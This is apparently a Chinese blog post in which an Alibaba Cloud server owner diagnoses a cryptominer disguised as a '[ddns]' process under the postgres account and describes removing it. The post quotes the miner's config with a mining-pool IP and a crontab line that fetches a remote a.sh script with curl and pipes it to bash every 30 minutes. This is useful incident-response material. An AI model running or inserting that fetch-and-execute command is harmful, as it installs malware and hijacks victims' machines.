阿里云服务器被攻击,CPU被占满
cpu占用99.9%
这两天发现服务器上cpu一直是满负荷,查看了一下top发现是postgres的[ddns]占满了,网上搜了一下postgres的cpu占用问题,都说是sql查询的问题,可我sql都停了,没有查询,cpu还是占用接近99.9%,搜索ddns看看是什么也没查出来为什么cpu占用这么高。
切换postgres用户ps -ux查看该命令 ./[ddns] --config=./[ddns].pid
查了一下发现有个目录,里面有这个文件,(这时我还没发现是被攻击)
find / -name *ddns*
[ddns].pid.bak里面有个ip 194.147.114.20:45543
{
"autosave": true,
"background": true,
"cpu": {
"enabled": true,
"huge-pages": true,
"huge-pages-jit": false,
"hw-aes": null,
"priority": null,
"memory-pool": false,
"yield": true,
"max-threads-hint": 70,
"asm": true,
"argon2-impl": null,
"astrobwt-max-size": 550,
"astrobwt-avx2": false,
"cn/0": false,
"cn-lite/0": false
},
"log-file":"/var/tmp/.../.ddns.log",
"opencl": false,
"cuda": false,
"pools": [
{
"url": "194.147.114.20:45543"
}
]
}
在网上用ip解析发现是瑞士
看了一下 往这个/var/tmp/…/.ddns.log 日志文件写了什么,意识到有可能被攻击了,网上查了一下,确定了是被攻击了
在postgres用户下的crontab -l发现有个定时任务,定时获取一个a.sh
这样的话,就算kill -9 也没有用,它会定时恢复
*/30 * * * * /bin/curl -fsSL http://crypto.htxreceive.top/s3f815/a/a.sh | bash > /dev/null 2>&1
删除该用户下的crontab,如果你有其他的定时任务,用crontab -e 编辑
crontab -r
然后把/var/tmp/.crypto这个目录给删了,在kill掉哪个进程就可以了
查询authorized_keys是不是有自动登录的密钥
有的话删除掉这个用户还有这个文件
find / -name authorized_keys
大致原因我怀疑是我的postgres密码比较简单,因为它是在postgres用户下创建的
更详细的可以查看这位老哥的帖子
阿里云服务器被[crypto]攻击导致CPU爆满(已解决)